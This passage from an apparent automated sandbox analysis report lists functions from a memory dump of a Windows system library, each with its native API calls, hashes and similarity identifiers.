RtlReAllocateHeap.1105(?,00000008,00000000,?,00000000,?,?,00000000,C0000017), ref: 6A911B1E
ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00002000,00000004,00000000,?,?,00000000,C0000017,?,?,6A9116E0), ref: 6A911B83
ZwAllocateVirtualMemory.1105(000000FF,6A9116E0,00000000,C0000017,00001000,00000004,00000000,?,?,00000000,C0000017,?,?,6A9116E0), ref: 6A911BBD
RtlAllocateHeap.1105(?,00000008,?,00000000,?,?,00000000,C0000017), ref: 6A911BD8

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Allocate$HeapMemoryVirtual
String ID:
API String ID: 1343662020-0
Opcode ID: ff884249f956a76cbe8466050f7d8afdfb7191b031ec1569717d03b17d0e24ed
Instruction ID: ec09903df0474e63a73c94b30d54bf4f9a6a4550a62a8381769056fbf1cfec89
Opcode Fuzzy Hash: ff884249f956a76cbe8466050f7d8afdfb7191b031ec1569717d03b17d0e24ed
Instruction Fuzzy Hash: A1410771A49609EFDB24CF99C9C0A9AB7F8FF19300B30456DE55AD7650EB30EA44CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6A91F018, Relevance: 6.1, APIs: 4, Instructions: 95memorynativeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000008,?,?,00000000,?), ref: 6A91F05B
ZwQueryValueKey.1105(?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6A91F07A
memcpy.1105(00000000,0000000C,?,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6A91F0AB
RtlFreeHeap.1105(?,00000000,00000000,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6A91F0CB

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFreeQueryValuememcpy
String ID:
API String ID: 125101864-0
Opcode ID: 505cdb4590f4c2fa0a685607fb8905ed14938dcd0161c7b296e56ef626f41d17
Instruction ID: c6988711b59476d2e61a0400ede3c7851b892642cbd384fede143a5cf6cfe9a4
Opcode Fuzzy Hash: 505cdb4590f4c2fa0a685607fb8905ed14938dcd0161c7b296e56ef626f41d17
Instruction Fuzzy Hash: 9531B17664850CAFEB21CE48C9C0B5A73ADEF84759F36802AED149B201DF31DD41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6A916730, Relevance: 6.1, APIs: 4, Instructions: 92timeCOMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105 ref: 6A91674F
RtlGetCurrentServiceSessionId.1105(00000001), ref: 6A91677C
RtlDebugPrintTimes.1105(?,?,?,?,00000001), ref: 6A9167B1
RtlGetCurrentServiceSessionId.1105 ref: 6A9167B9

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$DebugPrintTimes
String ID:
API String ID: 286911700-0
Opcode ID: 45981dc2baeeda8c86ae935d4a43941502b72668ae6d5edcb3509dccaaa4d021
Instruction ID: 794becc87a428ec72af106e58a5b834d27584971093f2c32c915b29fceec425a
Opcode Fuzzy Hash: 45981dc2baeeda8c86ae935d4a43941502b72668ae6d5edcb3509dccaaa4d021
Instruction Fuzzy Hash: 2C31CF35A09A09BFDB169F24CA94A49BBF6FF45714F615015E81087A61DF30EC30CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A941DB5, Relevance: 6.1, APIs: 4, Instructions: 87COMMON

Download Yara Rule

APIs

RtlQueryInformationActivationContext.1105(-40000003,?,00000000,00000006,00000000,00000000,00000000,00000000,?,?,?,00000040,-00000054,00000000), ref: 6A941DF7
RtlQueryInformationActivationContext.1105(-40000003,-00000054,00000000,00000006,00000000,00000000,00000000,-40000003,?,00000000,00000006,00000000,00000000,00000000,00000000,?), ref: 6A941E36

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivationContextInformationQuery
String ID:
API String ID: 2130846384-0
Opcode ID: 39ad629a20701d3ed16c14f322ca06b3d590f6998de82038df02d262996ece3b
Instruction ID: 37bd20a1deef1f354ac042b7a3128a49623e673c585eeafe73a2e485103da0d5
Opcode Fuzzy Hash: 39ad629a20701d3ed16c14f322ca06b3d590f6998de82038df02d262996ece3b
Instruction Fuzzy Hash: 8A218D75640528FFD710CF59C884EABBBBDEF86648F324055E9159B220DB30EE11DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A9EF1B5, Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000008,-0000000B,00000002,00000001,00000000,6A94FE70,00000000), ref: 6A9EF1EC

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: dc1c49394cd45ab3f4b830e5a178c6aa3aeb3d56e5cfd55c7880e05fd2638cb8
Instruction ID: aacca877e9693e7146a4be09a1524b10387d13cf1fb16fad2a47c47a390691ff
Opcode Fuzzy Hash: dc1c49394cd45ab3f4b830e5a178c6aa3aeb3d56e5cfd55c7880e05fd2638cb8
Instruction Fuzzy Hash: 1121D636900515BFDB228F49E884F4ABBB8FF45758F224066E91497355DB31DD10CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A943B7A, Relevance: 6.1, APIs: 4, Instructions: 75memorynativeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6A943BB0
ZwQuerySystemInformationEx.1105(0000006B,00000001,00000004,00000000,?,?,?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6A943BCF
memset.1105(6A9843AB,00000000,?,0000006B,00000001,00000004,00000000,?,?,?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6A943BEA
RtlFreeHeap.1105(?,?,00000000,0000006B,00000001,00000004,00000000,?,?,?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6A943C30

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFreeInformationQuerySystemmemset
String ID:
API String ID: 21860560-0
Opcode ID: f996e7c9f1b40d82efb01647eed34cee2110cdcd6522a3f6a439ea4d26d22afc
Instruction ID: af82acd00813e736d9eaf5079d11e8a3f3f4ae947d71235bae29d6ed7c212249
Opcode Fuzzy Hash: f996e7c9f1b40d82efb01647eed34cee2110cdcd6522a3f6a439ea4d26d22afc
Instruction Fuzzy Hash: 55218072A00518AFDB00CF68CD85B6AB7BDFB45708F264069E904EB252D772ED12DB94

Uniqueness

Uniqueness Score: -1.00%

Function 6A9418B9, Relevance: 6.1, APIs: 4, Instructions: 75nativetimeCOMMON

Download Yara Rule

APIs

ZwCreateTimer2.1105(00000058,00000000,00000000,00000008,00100002,00000040,00000000,00000000), ref: 6A9418E6
ZwCreateWaitCompletionPacket.1105(0000005C,00000001,00000000,00000058,00000000,00000000,00000008,00100002,00000040,00000000,00000000), ref: 6A9418F6
ZwAssociateWaitCompletionPacket.1105(?,00000000,00000058,00000060,?,00000000,?,?,0000005C,00000001,00000000,00000058,00000000,00000000,00000008,00100002), ref: 6A941926
ZwClose.1105(00000058,0000005C,00000001,00000000,00000058,00000000,00000000,00000008,00100002,00000040,00000000,00000000), ref: 6A985690

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CompletionCreatePacketWait$AssociateCloseTimer2
String ID:
API String ID: 56835937-0
Opcode ID: a8be5437c66fccd1ed6e436cf13162141824a4c2372f2a4f6805f9202b84fb24
Instruction ID: 530d1c4a959a784add52cd0d8036e32e02cc83b16be9a36f02033b3783002737
Opcode Fuzzy Hash: a8be5437c66fccd1ed6e436cf13162141824a4c2372f2a4f6805f9202b84fb24
Instruction Fuzzy Hash: C321A4B150020ABFDB00CF99C884E96BBB8FF59348F20846AE54497241DB71E926CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A6652, Relevance: 6.1, APIs: 4, Instructions: 74memorynativeCOMMON

Download Yara Rule

APIs

ZwClose.1105(00000000,00000000,00000000,00000000,?,?,6A98B381,00000001,6AA0861C,6A9F0268,00000020,6A92BE44,?,00000000,?,00000001), ref: 6A9A668C
RtlAllocateHeap.1105(?,00000008,?,00000000,00000000,00000000,?,?,6A98B381,00000001,6AA0861C,6A9F0268,00000020,6A92BE44,?,00000000), ref: 6A9A66D0

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateCloseHeap
String ID:
API String ID: 3565931908-0
Opcode ID: f47e566b4888a067f682920945fca014f013b705b10a308f3776eb0ec27d4de8
Instruction ID: 42813e53596b364364f557f42ebdd4f03416e028545eac6537c18ad51859d70a
Opcode Fuzzy Hash: f47e566b4888a067f682920945fca014f013b705b10a308f3776eb0ec27d4de8
Instruction Fuzzy Hash: 51216272610B11ABDA114E2C9845752B779FB1236CF230317EF3493691CF72E8A1C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 6A914DC0, Relevance: 6.1, APIs: 4, Instructions: 73nativeCOMMON

Download Yara Rule

APIs

RtlWakeAddressAllNoFence.1105(00000000), ref: 6A914DE8
RtlRaiseStatus.1105(00000000,?,?,?,6A92EBD0,?,?,?,?,00000000,?,6A911E03,?,6A911D6E,?), ref: 6A914E04
ZwAlpcQueryInformation.1105(?,0000000B,FFFFFFFE,00000004,00000000,00000000,000000FF,?,?,00000000,?,?,?,6A92EBD0,?,?), ref: 6A970B73

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressAlpcFenceInformationQueryRaiseStatusWake
String ID:
API String ID: 3812654406-0
Opcode ID: 5d5570f8a10cb7a806a67cbbe6a9f52131e3c8302fa82ec5a631861a7e33764d
Instruction ID: 0952d309a35f50e098020c414814790ec247282759fb8970db78b6d298e65ab7
Opcode Fuzzy Hash: 5d5570f8a10cb7a806a67cbbe6a9f52131e3c8302fa82ec5a631861a7e33764d
Instruction Fuzzy Hash: 8011C4B1614308BFEB24DA358C85F9B73DCDF99618F22055AE92597280EFB0ED008A95

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A8372, Relevance: 6.1, APIs: 4, Instructions: 72nativeCOMMON

Download Yara Rule

APIs

ZwClose.1105(00000000,?,00000000,00000000), ref: 6A9A839C
RtlStringFromGUIDEx.1105(?,?,00000001,?,00000000,00000000), ref: 6A9A83B9
ZwCreateKey.1105(?,?,00000018,00000000,00000000,00000000,00000001,?,?,00000001,?,00000000,00000000), ref: 6A9A83F5
RtlFreeUnicodeString.1105(?,?,?,00000018,00000000,00000000,00000000,00000001,?,?,00000001,?,00000000,00000000), ref: 6A9A8400

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: String$CloseCreateFreeFromUnicode
String ID:
API String ID: 4294597832-0
Opcode ID: f3ca10b0694f8c69625bf1e27c19eaadfc5a9923ecec863a5a59b3652895f085
Instruction ID: c34ead9f6673f28b6eb2763cb807dab42313c9f82d93a14f4c0d46fea3633b14
Opcode Fuzzy Hash: f3ca10b0694f8c69625bf1e27c19eaadfc5a9923ecec863a5a59b3652895f085
Instruction Fuzzy Hash: 7721EAB1D0121DAFDB04CFA5C8859EEBBF9EB14314F21816AE910E7241EF71DE058BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A953EE4, Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000008,00000028,?,?,6A978546), ref: 6A953F07
RtlGetLocaleFileMappingAddress.1105(00000000,6AA065D4,6A978546,?,00000008,00000028,?,?,6A978546), ref: 6A953F23

Part of subcall function 6A953FA0: ZwInitializeNlsFiles.1105(00000028,00000008,?,?,?,00000000,?,6A953F28,00000000,6AA065D4,6A978546,?,00000008,00000028,?), ref: 6A953FCD

RtlFreeHeap.1105(?,00000000,00000000,00000000,6AA065D4,6A978546,?,00000008,00000028,?,?,6A978546), ref: 6A98E7D3
RtlFreeHeap.1105(?,00000000,00000000,00000000,6AA065D4,6A978546,?,00000008,00000028,?,?,6A978546), ref: 6A98E7EB

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Free$AddressAllocateFileFilesInitializeLocaleMapping
String ID:
API String ID: 1831200515-0
Opcode ID: a2c62edf21ba9325d259f5062a2fc735d62f4787f50a7bcd419f15ed82336e88
Instruction ID: e3b5faea91966a038cb137904aeb331a43f02705f48d136e254b202457bc1aff
Opcode Fuzzy Hash: a2c62edf21ba9325d259f5062a2fc735d62f4787f50a7bcd419f15ed82336e88
Instruction Fuzzy Hash: 9321CF79601A10DFC724DF69C901B52B7F5FF18708F254869E819CB712EB30E852CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6A91519E, Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6A9152A5: RtlEnterCriticalSection.1105(6AA079A0,?,00000000,?), ref: 6A9152BF
Part of subcall function 6A9152A5: RtlLeaveCriticalSection.1105(6AA079A0,6AA079A0,?,00000000,?), ref: 6A9152DD

RtlEqualUnicodeString.1105(?,?,00000001,?,?,?), ref: 6A970CCB
RtlLeaveCriticalSection.1105(6AA079A0,?,?,?), ref: 6A970CE4

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$EnterEqualStringUnicode
String ID:
API String ID: 4283003422-0
Opcode ID: 007097d09836dbc0fc7a262d81a1e63b0285d0c76a4fee1e506fa01752ef98f1
Instruction ID: f65dde9c1fe8a64ac6d5ce76a9a4eb3abfe328741b192050364ef28adbe25188
Opcode Fuzzy Hash: 007097d09836dbc0fc7a262d81a1e63b0285d0c76a4fee1e506fa01752ef98f1
Instruction Fuzzy Hash: 1B113635945204AFCB319F28C5D0AAABBF9EF15714F36012AE86697640DF32DC41C760

Uniqueness

Uniqueness Score: -1.00%

Function 6A943B5A, Relevance: 6.1, APIs: 4, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.1105(?,?,?,6A943AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6A986208
RtlFreeHeap.1105(?,?,?,6A943AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6A98622C
RtlFreeHeap.1105(?,?,?,6A943AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6A986250
RtlFreeHeap.1105(?,?,00000000,6A943AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6A98626D

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: cd605ff0912b4588a39e2308fa02e05d49674c83b01ba375c6ca7cd4c0438e5a
Instruction ID: fbfcb3322d47f5e209269c129e5bff7fac1c6a2db87cac3449cc640fe489f9ab
Opcode Fuzzy Hash: cd605ff0912b4588a39e2308fa02e05d49674c83b01ba375c6ca7cd4c0438e5a
Instruction Fuzzy Hash: 38110A76511554DFCF55DF58CA90F6AB3B9FB08604F2604ACE405EB752CB29EC01CB58

Uniqueness

Uniqueness Score: -1.00%

Function 6A91A745, Relevance: 6.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,?,00000000,?,6A94DFD8,00000000,?,?,?,?,?,6A913DAD,?,00000000,6A9EF4D0,00000084), ref: 6A91A757
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,6A94DFD8,00000000,?,?,?,?,?,6A913DAD,?,00000000,6A9EF4D0), ref: 6A91A774
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,6A94DFD8,00000000,?,?,?,?,?,6A913DAD,?,00000000,6A9EF4D0), ref: 6A97442E
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,00000000,?,6A94DFD8,00000000,?,?,?,?,?,6A913DAD), ref: 6A97443F

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireFreeHeap
String ID:
API String ID: 2563869513-0
Opcode ID: fb3ab9e53c40b2ef8ebfdb5f2c6f791355929f84542337cc6ed2a373672ab8ba
Instruction ID: d3ef0ddce5500c888075a20de6d666aa3e52a6d7b0aabe094ebe39f30594d21b
Opcode Fuzzy Hash: fb3ab9e53c40b2ef8ebfdb5f2c6f791355929f84542337cc6ed2a373672ab8ba
Instruction Fuzzy Hash: 42018F721452119FD3609B6DDC84E15B7ECEB46328B2582AAE018CB652DE35DC42CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 6A93E090, Relevance: 6.0, APIs: 4, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

RtlWow64EnableFsRedirectionEx.1105(6AA07B60,6AA07B60,6A93DFDF,?,00000000,6AA07B60,6A9EFE18,00000028), ref: 6A93E0A6
RtlEnterCriticalSection.1105(6AA07B60,6A93DFDF,?,00000000,6AA07B60,6A9EFE18,00000028), ref: 6A93E0B7
RtlLeaveCriticalSection.1105(6AA07B60,6AA07B60,6A93DFDF,?,00000000,6AA07B60,6A9EFE18,00000028), ref: 6A93E0DC
ZwSetEvent.1105(00000000,6AA07B60,6AA07B60,6A93DFDF,?,00000000,6AA07B60,6A9EFE18,00000028), ref: 6A93E0EF

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnableEnterEventLeaveRedirectionWow64
String ID:
API String ID: 355146318-0
Opcode ID: 9690953970070296d6d7c4ee74fbb777b6f847ef36563e7fd1f20d5f2222430e
Instruction ID: c042b335e5f9f0840552474c56f285ba1ab0dead6d14c947c879fee8587c4867
Opcode Fuzzy Hash: 9690953970070296d6d7c4ee74fbb777b6f847ef36563e7fd1f20d5f2222430e
Instruction Fuzzy Hash: F60136B0C09A689EFF11DA74C888BDE7AF9AB1731CF75405AE04162251CF35CD86C765

Uniqueness

Uniqueness Score: -1.00%

Function 6A9BEB8A, Relevance: 5.8, APIs: 2, Strings: 1, Instructions: 599timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,6A9D2783,00000001,?,00000000,?,?,?,?,6A96FC15), ref: 6A9BEBB6
RtlGetCurrentServiceSessionId.1105(?,?,?,6A9D2783,00000001), ref: 6A9BF23E

Strings

@, xrefs: 6A9BF10A

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentDebugPrintServiceSessionTimes
String ID: @
API String ID: 358024996-2766056989
Opcode ID: 0a03e76757d0ba610733b6c9765977429c7d3828942f02e32f2d7f111f26b4ec
Instruction ID: 8e1aa23dc56ac115afaebbd9c0e52f35931c12e50c69758a8412a4f6f117710a
Opcode Fuzzy Hash: 0a03e76757d0ba610733b6c9765977429c7d3828942f02e32f2d7f111f26b4ec
Instruction Fuzzy Hash: CE3218786046659FD724CF29C080373B7F9FF46308F25849AE8A58F296DB35E856CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6A950E21, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,00000618,?,?), ref: 6A950EDA
RtlRaiseException.1105 ref: 6A98CC58

Strings

Flst, xrefs: 6A950E63

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateExceptionHeapRaise
String ID: Flst
API String ID: 3789339297-2374792617
Opcode ID: 2e5247cf50abe7c1fc1f7c8711266109097950c7994c5fe071d8e361f6a993ca
Instruction ID: 843b4253392a3f939b9d74c5717fef1f28271db61bb46ccd40c5f56b535c6fce
Opcode Fuzzy Hash: 2e5247cf50abe7c1fc1f7c8711266109097950c7994c5fe071d8e361f6a993ca
Instruction Fuzzy Hash: 484198B1605301DFC314CF19D581A16BBE4EF99B18F218A6EE469CB281DB31D845CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A912240, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99memorytimeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,00000034,?,?,?,?,?,?,?,?,?,6A9EF350,0000004C), ref: 6A9122AC
TpAllocTimer.1105(00000020,6A9E9440,00000000,00000003,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 6A91235A

Strings

(, xrefs: 6A912328

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocAllocateHeapTimer
String ID: (
API String ID: 2926205940-3887548279
Opcode ID: c6a3cb51aab34937e871e55f5d5fb36a2a871c7046667f4c75a6b50e070b41fc
Instruction ID: 0af5c46a215116e3e9286b070dd2a38ab3ae763b602460468f516aaef0512282
Opcode Fuzzy Hash: c6a3cb51aab34937e871e55f5d5fb36a2a871c7046667f4c75a6b50e070b41fc
Instruction Fuzzy Hash: D74125B0E1475DEFDB10CF98C48068DBBB8BF19B14F21426AE454A7641CBB4D952CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6A9166D4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46nativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,UBR,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6A9166F5
ZwQueryValueKey.1105(?,?,00000002,?,00000014,?,?,UBR,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6A91670B

Strings

UBR, xrefs: 6A9166EE

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitQueryStringUnicodeValue
String ID: UBR
API String ID: 3766860702-3525060630
Opcode ID: e27e14f74784ecc5b0688fa8a3833fc97012ed35e497becc4b8b21366d409166
Instruction ID: 11567ccbeb19db2ceb6d233564624614d4fc3008d5c420661102cac98aaf104e
Opcode Fuzzy Hash: e27e14f74784ecc5b0688fa8a3833fc97012ed35e497becc4b8b21366d409166
